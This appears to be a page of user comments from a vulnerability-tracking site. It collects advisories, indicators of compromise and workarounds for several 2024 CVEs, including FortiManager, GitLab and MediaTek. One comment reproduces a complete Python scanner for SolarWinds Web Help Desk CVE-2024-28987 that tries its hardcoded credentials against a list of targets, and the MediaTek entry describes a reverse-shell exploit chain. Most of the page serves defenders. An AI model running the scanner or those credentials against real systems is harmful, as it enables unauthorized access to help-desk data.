Recent comments

Log in or create an account to share your comment.

All PoC

JSON CVE-2024-47575

A missing authentication for critical function vulnerability [CWE-306] in FortiManager fgfmd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.

Reports have shown this vulnerability to be exploited in the wild.

PSIRT | FortiGuard Labs 9–11 minutes Summary

A missing authentication for critical function vulnerability [CWE-306] in FortiManager fgfmd daemon may allow a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests.

Reports have shown this vulnerability to be exploited in the wild. Version Affected Solution FortiManager 7.6 7.6.0 Upgrade to 7.6.1 or above FortiManager 7.4 7.4.0 through 7.4.4 Upgrade to 7.4.5 or above FortiManager 7.2 7.2.0 through 7.2.7 Upgrade to 7.2.8 or above FortiManager 7.0 7.0.0 through 7.0.12 Upgrade to 7.0.13 or above FortiManager 6.4 6.4.0 through 6.4.14 Upgrade to 6.4.15 or above FortiManager 6.2 6.2.0 through 6.2.12 Upgrade to 6.2.13 or above FortiManager Cloud 7.6 Not affected Not Applicable FortiManager Cloud 7.4 7.4.1 through 7.4.4 Upgrade to 7.4.5 or above FortiManager Cloud 7.2 7.2.1 through 7.2.7 Upgrade to 7.2.8 or above FortiManager Cloud 7.0 7.0.1 through 7.0.12 Upgrade to 7.0.13 or above FortiManager Cloud 6.4 6.4 all versions Migrate to a fixed release

Old FortiAnalyzer models 1000E, 1000F, 2000E, 3000E, 3000F, 3000G, 3500E, 3500F, 3500G, 3700F, 3700G, 3900E with the following feature enabled (FortiManager on FortiAnalyzer):

config system global set fmg-status enable end

and at least one interface with fgfm service enabled are also impacted by this vulnerability.

Workarounds

Upgrade to a fixed version or use one of the following workarounds, depending on the version you're running:

1- For FortiManager versions 7.0.12 or above, 7.2.5 or above, 7.4.3 or above (but not 7.6.0), prevent unknown devices to attempt to register:

config system global (global)# set fgfm-deny-unknown enable (global)# end

Warning: With this setting enabled, be aware that if a FortiGate's SN is not in the device list, FortiManager will prevent it from connecting to register upon being deployed, even when a model device with PSK is matching.

If FAZ features are enabled on FMG, block the addition of unauthorized devices via syslog:

conf system global set detect-unregistered-log-device disable end

If FortiGate Updates or Web Filtering are enabled, block the addition of unauthorized devices via FDS:

conf fmupdate fds-setting set unreg-dev-option ignore end

2- Alternatively, for FortiManager versions 7.2.0 and above, you may add local-in policies to whitelist the IP addresses of FortiGates that are allowed to connect.

Example:

config system local-in-policy edit 1 set action accept set dport 541 set src next edit 2 set dport 541 next end

3- For 7.2.2 and above, 7.4.0 and above, 7.6.0 and above it is also possible to use a custom certificate which will mitigate the issue:

config system global set fgfm-ca-cert set fgfm-cert-exclusive enable

end

And install that certificate on FortiGates. Only this CA will be valid, this can act as a workaround, providing the attacker cannot obtain a certificate signed by this CA via an alternate channel.

NB: For FortiManager versions 6.2, 6.4, and 7.0.11 and below, please upgrade to one of the versions above and apply the above workarounds.

Indicators of Compromise

The following are possible IoCs:

Log entries

type=event,subtype=dvm,pri=information,desc="Device,manager,generic,information,log",user="device,...",msg="Unregistered device localhost add succeeded" device="localhost" adom="FortiManager" session_id=0 operation="Add device" performed_on="localhost" changes="Unregistered device localhost add succeeded"

type=event,subtype=dvm,pri=notice,desc="Device,Manager,dvm,log,at,notice,level",user="System",userfrom="",msg="" adom="root" session_id=0 operation="Modify device" performed_on="localhost" changes="Edited device settings (SN FMG-VMTM23017412)"

IP addresses

45.32.41.202 104.238.141.143 158.247.199.37 45.32.63.2 195.85.114.78 (Not observed by Fortinet, reported by Mandiant here)

Serial Number

FMG-VMTM23017412

Files

/tmp/.tm /var/tmp/.tm

Note that file IoCs may not appear in all cases.

Risk

The identified actions of this attack in the wild have been to automate via a script the exfiltration of various files from the FortiManager which contained the IPs, credentials and configurations of the managed devices.

At this stage, we have not received reports of any low-level system installations of malware or backdoors on these compromised FortiManager systems. To the best of our knowledge, there have been no indicators of modified databases, or connections and modifications to the managed devices.

Recovery

A FortiManager configuration backup file would not contain any OS or system-level file changes, as these files are not included in the archive. Therefore, taking a backup from a compromised system and then restoring it on a fresh or re-initialized one, would not carry over and re-introduce such low-level changes. When taking this approach, be aware that the data may have been tampered with. Careful review should be done to confirm configuration accuracy.

The methods below assume that the managed devices (FortiGates or other) contained in the backup have not been tampered with and that their configurations are reliable. Event log activity verification of the FortiGates should be reviewed starting from the date of the identified IoCs, to determine if there were any unauthorized access or configuration changes. Since data may have been exfiltrated from the FortiManager database, we recommend that the credentials, such as passwords and user-sensitive data, of all managed devices, be urgently changed.

For VM installations, recovery can be facilitated by keeping a copy of the compromised FortiManager in an isolated network with no Internet connection, as well as configuring it in offline mode and closed-network mode operation (see settings below). This system can be used to compare with the new one which will be set up in parallel.

config system admin setting set offline_mode enable end config fmupdate publicnetwork set status disable end

Recovery Methods

Option 1 – Recommended Recovery Action

This method ensures that the FortiManager configuration was not tampered with. It will require database rebuilding or device configuration resynchronizations at the Device and Policy Package ADOM levels.

• Installing a fresh FortiManager VM or re-initializing a hardware model and adding/discovering the devices. • Installing a fresh FortiManager VM or re-initializing a hardware model, and restoring a backup taken before the IoC detection.

Option 2 – Alternative Recovery Action

This method provides a quick recovery, where partial or no database rebuilding/resynchronization is required. It requires that you manually verify accuracy of the currently running FortiManager configuration

• Installing a fresh FortiManager VM or re-initializing a hardware model and restoring/copying components or configuration sections from a compromised FortiManager. • Installing a fresh FortiManager VM or re-initializing a hardware model, and restoring a backup from a compromised FortiManager.

For more info on data configuration and synchronization procedures: https://community.fortinet.com/t5/FortiManager/Technical-Tip-FortiManager-data-configuration-and/ta-p/351748

JSON CVE-2024-47575

In October 2024, Mandiant collaborated with Fortinet to investigate the mass exploitation of FortiManager appliances across 50+ potentially compromised FortiManager devices in various industries. The vulnerability, CVE-2024-47575 / FG-IR-24-423, allows a threat actor to use an unauthorized, threat actor-controlled FortiManager device to execute arbitrary code or commands against vulnerable FortiManager devices.

Mandiant observed a new threat cluster we now track as UNC5820 exploiting the FortiManager vulnerability as early as June 27, 2024. UNC5820 staged and exfiltrated the configuration data of the FortiGate devices managed by the exploited FortiManager. This data contains detailed configuration information of the managed appliances as well as the users and their FortiOS256-hashed passwords. This data could be used by UNC5820 to further compromise the FortiManager, move laterally to the managed Fortinet devices, and ultimately target the enterprise environment.

At this time, the data sources analyzed by Mandiant did not record the specific requests that the threat actor used to leverage the FortiManager vulnerability. Additionally, at this stage of our investigations there is no evidence that UNC5820 leveraged the obtained configuration data to move laterally and further compromise the environment. As a result, at the time of publishing, we lack sufficient data to assess actor motivation or location. As additional information becomes available through our investigations, Mandiant will update this blog’s attribution assessment.

Organizations that may have their FortiManager exposed to the internet should conduct a forensic investigation immediately.

Ref: https://cloud.google.com/blog/topics/threat-intelligence/fortimanager-zero-day-exploitation-cve-2024-47575

JSON CVE-2024-38812

VMware has determined that the vCenter patches released previously did not completely mitigate the vulnerability.

https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24968

Availability of a patch
2024-10-18T22:25:32 by Cédric Bonhomme
JSON CVE-2024-28987

The company released a patch in Web Help Desk version 12.8.3 HF2, which addresses this vulnerability. Users are strongly advised to update their software to this version or later to protect against this flaw.

Proof-of-Concept
2024-10-18T22:23:39 by Cédric Bonhomme
JSON CVE-2024-28987

A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC

import argparse
import base64
import requests

# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"

ascii_art = f"""
{BOLD}{RED}
  ______   __                              __                                         
 /      \ /  |                            /  |                                        
/$$$$$$  |$$ |____    ______    _______  _$$ |_           _______   ______    _______ 
$$ | _$$/ $$      \  /      \  /       |/ $$   |         /       | /      \  /       |
$$ |/    |$$$$$$$  |/$$$$$$  |/$$$$$$$/ $$$$$$/         /$$$$$$$/ /$$$$$$  |/$$$$$$$/ 
$$ |$$$$ |$$ |  $$ |$$ |  $$ |$$      \   $$ | __       $$      \ $$    $$ |$$ |      
$$ \__$$ |$$ |  $$ |$$ \__$$ | $$$$$$  |  $$ |/  |       $$$$$$  |$$$$$$$$/ $$ \_____ 
$$    $$/ $$ |  $$ |$$    $$/ /     $$/   $$  $$/       /     $$/ $$       |$$       |
 $$$$$$/  $$/   $$/  $$$$$$/  $$$$$$$/     $$$$/        $$$$$$$/   $$$$$$$/  $$$$$$$/ 
 PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""

print(ascii_art)

def get_basic_auth_header(username, password):
    credentials = f"{username}:{password}"
    base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
    return {'Authorization': f'Basic {base64_credentials}'}

def scan_target(hostname):
    # Ensure hostname does not have trailing slashes
    hostname = hostname.strip().rstrip('/')
    url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"

    # Print formatted URL for debugging
    print(f"{BOLD}[*] Scanning URL: {url}{RESET}")

    headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
    headers['Content-Type'] = 'application/x-www-form-urlencoded'

    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
            print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
        else:
            print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
    except requests.RequestException:
        # Modify this line to just print "Not vulnerable" instead of the error details
        print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")

def scan_targets_from_file(file_path):
    try:
        with open(file_path, 'r') as file:
            targets = file.readlines()
            if not targets:
                print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
                return
            for target in targets:
                target = target.strip()
                if target:
                    scan_target(target)
    except FileNotFoundError:
        print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
    except Exception as e:
        print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
    parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')

    args = parser.parse_args()

    scan_targets_from_file(args.file)

if __name__ == "__main__":
    main()

JSON CVE-2024-23113 

We are now reporting in our feeds Fortinet IPs still likely vulnerable to CVE-2024-23113 (format string pre-auth RCE). This vulnerability is known to be exploited in the wild. 

87,390 IPs found on 2024-10-12. Top: US (14K), Japan (5.1K), India (4.8K)

Ref Original post

Ref Shadowserver - map Ref Statistics of the available vulnerable devices

Possible commit of the patch
2024-10-11T12:46:07 by Luciano
JSON CVE-2024-9164

From a quick analysis comparing the previous tag and the information found in the the changelog:

[Do not create a pipeline on MR refresh if source branch was deleted](https://gitlab.com/gitlab-org/security/gitlab/-/commit/3dd89a71b436e8218a5d159a1dd75cb2de078129) ([merge request](https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/4524))

the fix of this vuln seems to be: https://gitlab.com/gitlab-org/gitlab/-/commit/480d0bd7ccdca6f93ff715abcd6c2fa7a9bebec2

JSON CVE-2024-9164

Run pipelines on arbitrary branches

An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches. This is a critical severity issue (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, 9.6). It is now mitigated in the latest release and is assigned CVE-2024-9164.

JSON CVE-2024-20017

Critical Exploit in MediaTek Wi-Fi Chipsets: Zero-Click Vulnerability (CVE-2024-20017) Threatens Routers and Smartphones

By Security News from https://blog.sonicwall.com/en-us/2024/09/critical-exploit-in-mediatek-wi-fi-chipsets-zero-click-vulnerability-cve-2024-20017-threatens-routers-and-smartphones/

September 19, 2024

Overview

The SonicWall Capture Labs threat research team became aware of the threat CVE-2024-20017, assessed its impact and developed mitigation measures for the vulnerability. CVE-2024-20017 is a critical zero-click vulnerability with a CVSS 3.0 score of 9.8, impacting MediaTek Wi-Fi chipsets MT7622/MT7915 and RTxxxx SoftAP driver bundles used in products from various manufacturers, including Ubiquiti, Xiaomi and Netgear. The affected versions include MediaTek SDK versions 7.4.0.1 and earlier, as well as OpenWrt 19.07 and 21.02. This translates to a large variety of vulnerable devices, including routers and smartphones. The flaw allows remote code execution without user interaction due to an out-of-bounds write issue. MediaTek has released patches to mitigate the vulnerability and users should update their devices immediately. While this vulnerability was published and patched back in March, only recently did a public PoC become available making exploitation more likely.

Technical Overview

The vulnerability resides in wappd, a network daemon included in the MediaTek MT7622/MT7915 SDK and RTxxxx SoftAP driver bundle. This service is responsible for configuring and managing wireless interfaces and access points, particularly with Hotspot 2.0 technologies. The architecture of wappd is complex, comprising the network service itself, a set of local services that interact with the device’s wireless interfaces, and communication channels between components via Unix domain sockets. Ultimately, the vulnerability is a buffer overflow as a result of a length value taken directly from attacker-controlled packet data without bounds checking and placed into a memory copy. This buffer overflow creates an out-of-bounds write.

Triggering the Vulnerability

The vulnerability exists in the IAPP_RcvHandlerSSB function where an attacker controlled length value is passed to the IAPP_MEM_MOVE macro as described in hyprdude’s blog and seen in Figure 1.

Figure 1: Vulnerable Code sourced from hyprdude

Prior to the last line which calls IAPP_MEM_MOVE, the only bounds check done is to check that the provided length does not exceed the maximum packet length of 1600 bytes. As the size of the destination struct is only 167 bytes, this results in a stack buffer overflow of up to 1433 bytes. To trigger this vulnerability an attacker must send a packet with the expected structures prepending the attack payload. These structures are referred to as the RT_IAPP_HEADER and the RT_IAPP_SEND_SECURITY_BLOCK within the code. To bypass validation checks the length of the RT_IAPP_HEADER struct needs to be small and the RT_IAPP_HEADER.Command field must be to 50.

Exploitation The publicly available exploit code achieves remote code execution by using a global address table overwrite technique via a return-oriented programming (ROP) chain. This method leverages the system() call to execute commands, such as sending a reverse shell back to the attacker. The reverse shell is established using Bash and the existing Netcat tool on the chipset. Figure 2 illustrates how the reverse shell command is crafted and embedded within the payload to enable this exploitation tactic.

Figure 2: Reverse Shell Commands

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

IPS: 20322 MediaTek MT7915 wlan Service OOB Write 1 IPS: 20323 MediaTek MT7915 wlan Service OOB Write 2

Remediation Recommendations

Due to the availability of the exploit code, it is highly recommended that users upgrade to the latest version of the firmware for their

JSON CVE-2024-20439

Cisco recently released an advisory for CVE-2024-20439 here. (nvd) Please note I did not discover this vulnerability, I just reverse engineered the vulnerability from the advisory published by Nicholas Starke https://starkeblog.com/

displaying 81 - 90 comments in total 103